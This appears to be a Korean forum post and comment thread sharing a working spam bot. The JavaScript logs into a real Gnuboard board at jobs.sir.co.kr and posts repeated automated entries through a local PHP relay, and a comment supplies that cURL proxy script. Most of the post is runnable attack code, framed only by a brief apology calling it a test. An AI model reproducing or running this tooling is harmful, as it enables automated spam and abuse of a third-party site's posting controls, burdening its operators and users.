관리자님 죄송합니다. 그냥 테스트해봤어요...
<!-- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> -->
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<title>1 > sdfsdfsdfsdfsdf > 글쓰기</title>
</head>
<script type="text/javascript" src="md5.js"></script>
<body topmargin="0" leftmargin="0" >
<a name="g4_head"></a>
그누보드에 글을 올려볼까요...
<button id="post_btn" onclick="post(); return false;">새글 올리기</button>
<script type="text/javascript">
function getHttpRequest()
{
var req = null;
if (window.ActiveXObject) {
try {
req = new ActiveXObject("Msxml2.XMLHTTP"); // 5.0 이후 버전
}
catch(e) {
try {
req = new ActiveXObject("Microsoft.XMLHTTP"); // 5.0 이전 버전
}
catch(e1) {
req = null;
}
}
}
else if (window.XMLHttpRequest) {
try {
req = new XMLHttpRequest();
}
catch (e) {
req = null;
}
}
return req;
}
var data = {
'id': '******',
'name': '********',
'password': '****',
'subject': 'spammer',
'content': 'spam content'
};
var subject_i = 1;
var content_i = 1;
var key = '';
function fakeLogin()
{
var req = getHttpRequest();
var url = 'http://localhost/spammer/transport.php';
var param = 'transport_url=' + encodeURI('http://jobs.sir.co.kr/gnu4/bbs/login_check.php') + '&transport_method=post&transport_noresponse=true';
param += '&mb_id=' + encodeURI(data.id) + '&mb_password=' + encodeURI(data.password);
req.open('POST', url, true);
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.setRequestHeader('content-length', param.length);
req.setRequestHeader('Connection', 'close');
req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
// do nothing;
//if (req.responseText.length) alert('fakeLogin():\n' + req.responseText);
}
}
};
req.send(param);
}
function get()
{
var req = getHttpRequest();
var url = 'http://localhost/spammer/transport.php?transport_url=' + encodeURI('http://jobs.sir.co.kr/gnu4/bbs/write.php') + '&transport_method=get' + '&bo_table=dsfdfsdfsdsdf';
req.open('GET', url, true);
req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
doc_code = req.responseText;
findKey(doc_code);
//alert('get():\n' + doc_code);
}
}
};
req.send(null);
}
function send(subject, content)
{
var req = getHttpRequest();
var url = 'http://localhost/spammer/transport.php';
var param = 'transport_url=' + encodeURI('http://jobs.sir.co.kr/gnu4/bbs/write_update.php') + '&transport_method=post&transport_noresponse=true';
param += '&wr_name=' + encodeURI(data.name) + '&mb_id=' + encodeURI(data.id) + '&mb_password=' + encodeURI(data.password);
if (typeof subject == 'undefined' || !subject.length) {
param += '&wr_subject=' + encodeURI(data.subject + subject_i);
subject_i++;
}
else {
param += '&wr_subject=' + encodeURI(subject);
}
if (typeof content == 'undefined' || !subject.content) {
param += '&wr_content=' + encodeURI(data.content + content_i);
content_i++;
}
else {
param += '&wr_content=' + encodeURI(content);
}
param += '&wr_key=' + encodeURI(key);
param += '&w=&bo_table=dsfdfsdfsdsdf&wr_id=';
req.open('POST', url, true);
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.setRequestHeader('content-length', param.length);
req.setRequestHeader('Connection', 'close');
req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
// do nothing;
//if (req.responseText.length) alert('send():\n' + req.responseText);
pause(1000);
}
}
};
req.send(param);
}
// 그냥 n millis 동안 멈추기
function pause(numberMillis)
{
var now = new Date();
var exitTime = now.getTime() + numberMillis;
while (true) {
now = new Date();
if (now.getTime() > exitTime) return;
}
}
function post()
{
fakeLogin();
var k;
for (var i = 0; i < 10; i++) {
var j;
while(j != k)
j = Math.floor(Math.random() * 10000) + 1;
//get();
send('테스트' + j, '테스트 본문 ' + j);
k = j;
}
alert('OK');
}
</script>
</body>
</html>
|
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기
댓글 7개
코드 감사합니다.
<?php
// The actual form action
$url = $_REQUEST['transport_url'];
// Submission method
$method = $_REQUEST['transport_method'];
// Query string
$fields = '';
// Prepare the fields for query string, don't include the action URL OR method
if (count($_REQUEST) > 2) {
foreach ($_REQUEST as $key => $value) {
if ($key != 'transport_url' || $key != 'transport_method' || $key != 'transport_noresponse') {
$fields .= $key . '=' . rawurlencode($value) . '&';
}
}
}
// Strip the last comma
$fields = substr($fields, 0, strlen($fields) - 1);
// Initiate cURL
$ch = curl_init();
// Do we need to POST of GET ?
if (strtoupper($method) == 'POST') {
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
}
else {
curl_setopt($ch, CURLOPT_URL, $url . '?' . $fields);
}
// Follow redirects and return the transfer
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
// Get result and close cURL
$result = curl_exec($ch);
curl_close($ch);
// Return the response
if (!isset($_REQUEST['transport_noresponse']) || strtolower($_REQUEST['transport_noresponse']) != 'true')
echo $result;
?>
너무 빠른 시간에 글을 올리는 경우죠.
지금의 테스트는 비회원으로 글을 올리는 것을 말합니다.